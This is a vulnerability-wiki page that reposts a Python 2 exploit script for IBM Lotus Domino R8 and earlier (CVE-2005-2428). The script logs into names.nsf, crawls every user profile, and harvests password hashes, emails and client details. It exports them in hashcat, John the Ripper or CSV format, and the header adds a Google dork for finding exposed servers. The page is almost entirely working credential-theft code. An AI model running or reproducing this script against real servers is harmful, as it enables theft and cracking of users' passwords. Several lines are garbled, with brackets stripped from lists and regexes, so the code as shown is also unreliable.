免费、自由、人人可编辑的漏洞库
,
Exploit
#!/usr/bin/env python2
# Exploit Title: IBM Lotus Domino <= R8 Password Hash Extraction Exploit
# Google Dork: inurl:names.nsf?opendatabase
# Date: 02-24-2016
# Exploit Author: Jonathan Broche
# Authentication and multi page parsing added by: Alexander Schwankner
# Contact: https://twitter.com/g0jhonny
# Vendor Homepage: https://www-01.ibm.com/software/lotus/category/messaging/
# Tested on: Lotus Domino 8.5
# CVE : CVE-2005-2428
import argparse
import csv
import getpass
import re
import sys
import BeautifulSoup
import requests
requests.packages.urllib3.disable_warnings()
parser = argparse.ArgumentParser(
description='Domino Effect - A Lotus Domino password hash tool by Jonathan Broche (@g0jhonny) authentication and multi page parsing added by Alexander Schwankner',
version="1.1")
parser.add_argument('system', help="IP address or hostname to harvest hashes from. ")
parser.add_argument('-n', '--username', metavar='username')
parser.add_argument('-u', '--uri', metavar='path', default="/names.nsf",
help="Path to the names.nsf file. Default: /names.nsf")
outgroup = parser.add_argument_group(title="Output Options")
outgroup.add_argument('--hashcat', action='store_true', help="Print results for use with hashcat.")
outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.")
parser.add_argument('-f', '--file', metavar='outputPath', help="Output file in given format.")
parser.add_argument('-c', '--csv', metavar='CSV file with many information about the user')
password = getpass.getpass(prompt='Password: ', stream=None)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
print "\nDomino Effect {}\n".format(parser.version)
headers = {
'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'
}
postData = {'Password': password, 'Username': args.username, 'RedirectTo': '/names.nsf/People?OpenView'}
with requests.Session() as s:
try:
response = s.post("https://{}{}?Login".format(args.system, args.uri), verify=False, headers=headers,
timeout=3, data=postData)
except requests.exceptions.Timeout as e:
print "! Timed out, try again."
sys.exit(1)
except Exception as e:
print e
hashes = {}
start = 1
file = open(args.file, 'w')
i = 0
algorithm = "not detected"
if args.csv:
csvFile = open(args.csv, 'w')
fieldnames = 'name', 'hash', 'algorithm', 'email', 'ClntMachine', 'ClntPltfrm', 'ClntBld',
'HTTPPasswordChangeDate'
csvWriter = csv.DictWriter(csvFile, fieldnames=fieldnames, dialect='excel')
csvWriter.writeheader()
while True:
try:
response = s.get("https://{}{}/People?OpenView&Start={}".format(args.system, args.uri, start), verify=False,
headers=headers,
timeout=3)
except requests.exceptions.Timeout as e:
print "! Timed out, try again."
sys.exit(1)
except Exception as e:
print e
soup = BeautifulSoup.BeautifulSoup(response.text)
start = start + 30
if 'Keine Dokumente gefunden' in response.text:
break
if 'No Document found' in response.text:
break
links =
# grab all user profile links
for link in soup.findAll('a'):
if "OpenDocument" in link'href':
if link'href' not in links:
links.append(link'href')
for link in links: # get user profile
try:
response = s.get("https://{}{}".format(args.system, link), verify=False, headers=headers, timeout=2)
except requests.exceptions.Timeout as e:
pass
except Exception as e:
print e
if response.text:
soup = BeautifulSoup.BeautifulSoup(response.text)
name = soup.find('input', {'name': '$dspShortName'}).get('value').strip() # short name
httppassword = soup.find('input', {"name": "HTTPPassword"}).get('value').strip()
dsphttppassword = soup.find('input', {"name": "dspHTTPPassword"}).get('value').strip()
email = soup.find('input', {"name": "InternetAddress"}).get('value').strip()
ClntMachine = soup.find('input', {"name": "ClntMachine"}).get('value').strip()
ClntBld = soup.find('input', {"name": "ClntBld"}).get('value').strip()
ClntPltfrm = soup.find('input', {"name": "ClntPltfrm"}).get('value').strip()
HTTPPasswordChangeDate = soup.find('input', {"name": "HTTPPasswordChangeDate"}).get('value').strip()
if httppassword:
hash = httppassword
elif dsphttppassword:
hash = dsphttppassword
else:
print('No passwords found')
exit(1)
# match regex to determinate hash algorithm
if len(re.findall(r"^a-f0-9{32}$", hash, re.MULTILINE)) == 1:
algorithm = 'Lotus Notes/Domino 5'
elif len(re.findall(r"(^({1})(A-Za-z0-9+/{20})()$)", hash, re.MULTILINE)) == 1:
algorithm = 'Lotus Notes/Domino 6'
elif len(re.findall(r"(^({1})(A-Za-z0-9{49})(){1}$)", hash, re.MULTILINE)) == 1:
algorithm = 'Lotus Notes/Domino 8'
else:
algorithm = 'not detected'
if args.csv:
csvWriter.writerow(
{'name': name,
'hash': hash,
'algorithm': algorithm,
'email': email,
'ClntMachine': ClntMachine,
'ClntPltfrm': ClntPltfrm,
'ClntBld': ClntBld,
'HTTPPasswordChangeDate': HTTPPasswordChangeDate})
i += 1
print(str(i) + " " + name + " : " + hash)
if args.hashcat or args.john:
if args.hashcat:
file.write(hash + "\n")
if args.john:
file.write("{}:{}\n".format(name, hash))
else:
file.write("* User: {} Hash: {}".format(name, hash))
print
if args.csv:
csvFile.close()
print("extended account information written to " + args.csv)
file.close()
print("hashes written to " + args.file + " with hashing algorithm " + algorithm) # I assume all users have the same hashing algorithm
PWNWIK.COM==免费、自由、人人可编辑的漏洞库
